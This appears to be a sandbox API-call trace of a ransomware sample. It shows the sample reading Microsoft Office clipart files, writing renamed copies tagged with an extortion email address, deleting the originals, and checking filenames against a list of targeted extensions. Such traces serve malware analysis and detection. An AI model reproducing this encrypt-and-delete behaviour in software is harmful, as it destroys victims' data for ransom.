	[0168.138] WriteFile (in: hFile=0x4c0, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x3270, lpOverlapped=0x0) returned 1
	[0168.139] ReadFile (in: hFile=0x4d0, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.139] WriteFile (in: hFile=0x4c0, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.139] SetEndOfFile (hFile=0x4c0) returned 1
	[0168.139] CloseHandle (hObject=0x4c0) returned 1
	[0168.140] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.140] SetEndOfFile (hFile=0x4d0) returned 1
	[0168.143] CloseHandle (hObject=0x4d0) returned 1
	[0168.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0168.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 1
	[0168.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0168.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0168.145] lstrlenW (lpString=".doc") returned 4
	[0168.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.145] lstrlenW (lpString=".docx") returned 5
	[0168.145] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0168.145] lstrlenW (lpString=".pdf") returned 4
	[0168.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.145] lstrlenW (lpString=".xls") returned 4
	[0168.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.145] lstrlenW (lpString=".xlsx") returned 5
	[0168.145] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0168.145] lstrlenW (lpString=".ppt") returned 4
	[0168.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0168.145] lstrlenW (lpString=".zip") returned 4
	[0168.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.145] lstrlenW (lpString=".rar") returned 4
	[0168.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.145] lstrlenW (lpString=".bz2") returned 4
	[0168.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.145] lstrlenW (lpString=".7z") returned 3
	[0168.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0168.146] lstrlenW (lpString=".dbf") returned 4
	[0168.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0168.146] lstrlenW (lpString=".1cd") returned 4
	[0168.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0168.146] lstrlenW (lpString=".jpg") returned 4
	[0168.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0168.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0168.146] lstrlenW (lpString=".doc") returned 4
	[0168.146] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.146] lstrlenW (lpString=".docx") returned 5
	[0168.146] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0168.146] lstrlenW (lpString=".pdf") returned 4
	[0168.146] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.146] lstrlenW (lpString=".xls") returned 4
	[0168.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.146] lstrlenW (lpString=".xlsx") returned 5
	[0168.146] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0168.146] lstrlenW (lpString=".ppt") returned 4
	[0168.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0168.146] lstrlenW (lpString=".zip") returned 4
	[0168.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.146] lstrlenW (lpString=".rar") returned 4
	[0168.147] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.147] lstrlenW (lpString=".bz2") returned 4
	[0168.147] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.147] lstrlenW (lpString=".7z") returned 3
	[0168.147] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0168.147] lstrlenW (lpString=".dbf") returned 4
	[0168.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0168.147] lstrlenW (lpString=".1cd") returned 4
	[0168.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0168.147] lstrlenW (lpString=".jpg") returned 4
	[0168.147] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.147] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0168.147] lstrlenW (lpString="J0103402.WMF") returned 12
	[0168.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0168.368] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=44948) returned 1
	[0168.368] CloseHandle (hObject=0x3e0) returned 1
	[0168.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 0x220
	[0168.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec
	[0169.252] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.252] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4
	[0169.253] GetLastError () returned 0x0
	[0169.253] ReadFile (in: hFile=0x4ec, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0xaf94, lpOverlapped=0x0) returned 1
	[0169.281] WriteFile (in: hFile=0x4f4, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xafa0, lpOverlapped=0x0) returned 1
	[0169.283] ReadFile (in: hFile=0x4ec, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.283] WriteFile (in: hFile=0x4f4, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.284] SetEndOfFile (hFile=0x4f4) returned 1
	[0169.284] CloseHandle (hObject=0x4f4) returned 1
	[0169.284] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.284] SetEndOfFile (hFile=0x4ec) returned 1
	[0169.288] CloseHandle (hObject=0x4ec) returned 1
	[0169.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0169.289] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 1
	[0169.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0169.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0169.290] lstrlenW (lpString=".doc") returned 4
	[0169.290] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.290] lstrlenW (lpString=".docx") returned 5
	[0169.290] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.290] lstrlenW (lpString=".pdf") returned 4
	[0169.290] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.290] lstrlenW (lpString=".xls") returned 4
	[0169.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.290] lstrlenW (lpString=".xlsx") returned 5
	[0169.290] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.290] lstrlenW (lpString=".ppt") returned 4
	[0169.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0169.290] lstrlenW (lpString=".zip") returned 4
	[0169.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.290] lstrlenW (lpString=".rar") returned 4
	[0169.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.290] lstrlenW (lpString=".bz2") returned 4
	[0169.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.291] lstrlenW (lpString=".7z") returned 3
	[0169.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0169.291] lstrlenW (lpString=".dbf") returned 4
	[0169.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0169.291] lstrlenW (lpString=".1cd") returned 4
	[0169.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0169.291] lstrlenW (lpString=".jpg") returned 4
	[0169.291] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0169.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0169.291] lstrlenW (lpString=".doc") returned 4
	[0169.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.291] lstrlenW (lpString=".docx") returned 5
	[0169.291] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0169.291] lstrlenW (lpString=".pdf") returned 4
	[0169.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.291] lstrlenW (lpString=".xls") returned 4
	[0169.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.291] lstrlenW (lpString=".xlsx") returned 5
	[0169.291] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0169.291] lstrlenW (lpString=".ppt") returned 4
	[0169.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0169.295] lstrlenW (lpString=".zip") returned 4
	[0169.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.296] lstrlenW (lpString=".rar") returned 4
	[0169.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.296] lstrlenW (lpString=".bz2") returned 4
	[0169.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.296] lstrlenW (lpString=".7z") returned 3
	[0169.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0169.296] lstrlenW (lpString=".dbf") returned 4
	[0169.296] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0169.296] lstrlenW (lpString=".1cd") returned 4
	[0169.296] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0169.296] lstrlenW (lpString=".jpg") returned 4
	[0169.296] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.296] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0169.296] lstrlenW (lpString="J0105230.WMF") returned 12
	[0169.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec
	[0169.299] GetFileSizeEx (in: hFile=0x4ec, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=5172) returned 1
	[0169.299] CloseHandle (hObject=0x4ec) returned 1
	[0169.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 0x220
	[0169.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ec
	[0169.300] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.300] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4
	[0169.301] GetLastError () returned 0x0
	[0169.301] ReadFile (in: hFile=0x4ec, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x1434, lpOverlapped=0x0) returned 1
	[0169.335] WriteFile (in: hFile=0x4f4, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x1440, lpOverlapped=0x0) returned 1
	[0169.336] ReadFile (in: hFile=0x4ec, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.337] WriteFile (in: hFile=0x4f4, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.337] SetEndOfFile (hFile=0x4f4) returned 1
	[0169.337] CloseHandle (hObject=0x4f4) returned 1
	[0169.337] SetFilePointerEx (in: hFile=0x4ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.337] SetEndOfFile (hFile=0x4ec) returned 1
	[0169.341] CloseHandle (hObject=0x4ec) returned 1
	[0169.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0169.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 1
	[0169.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0169.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0169.343] lstrlenW (lpString=".doc") returned 4
	[0169.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.343] lstrlenW (lpString=".docx") returned 5
	[0169.343] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0169.343] lstrlenW (lpString=".pdf") returned 4
	[0169.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.343] lstrlenW (lpString=".xls") returned 4
	[0169.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.343] lstrlenW (lpString=".xlsx") returned 5
	[0169.343] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0169.343] lstrlenW (lpString=".ppt") returned 4
	[0169.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0169.343] lstrlenW (lpString=".zip") returned 4
	[0169.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.343] lstrlenW (lpString=".rar") returned 4
	[0169.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.343] lstrlenW (lpString=".bz2") returned 4
	[0169.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.343] lstrlenW (lpString=".7z") returned 3
	[0169.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0169.343] lstrlenW (lpString=".dbf") returned 4
	[0169.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0169.344] lstrlenW (lpString=".1cd") returned 4
	[0169.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0169.344] lstrlenW (lpString=".jpg") returned 4
	[0169.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0169.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0169.344] lstrlenW (lpString=".doc") returned 4
	[0169.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.344] lstrlenW (lpString=".docx") returned 5
	[0169.344] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0169.344] lstrlenW (lpString=".pdf") returned 4
	[0169.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.344] lstrlenW (lpString=".xls") returned 4
	[0169.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.344] lstrlenW (lpString=".xlsx") returned 5
	[0169.344] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0169.344] lstrlenW (lpString=".ppt") returned 4
	[0169.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0169.344] lstrlenW (lpString=".zip") returned 4
	[0169.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.344] lstrlenW (lpString=".rar") returned 4
	[0169.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.344] lstrlenW (lpString=".bz2") returned 4
	[0169.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.344] lstrlenW (lpString=".7z") returned 3
	[0169.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0169.345] lstrlenW (lpString=".dbf") returned 4
	[0169.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0169.345] lstrlenW (lpString=".1cd") returned 4
	[0169.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68
	[0169.345] lstrlenW (lpString=".jpg") returned 4
	[0169.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.345] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0169.345] lstrlenW (lpString="J0105234.WMF") returned 12
	[0169.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc
	[0169.433] GetFileSizeEx (in: hFile=0x4fc, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=3444) returned 1
	[0169.433] CloseHandle (hObject=0x4fc) returned 1
	[0169.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 0x220
	[0169.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0169.782] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.782] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0170.002] GetLastError () returned 0x0
	[0170.002] ReadFile (in: hFile=0x538, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0xd74, lpOverlapped=0x0) returned 1
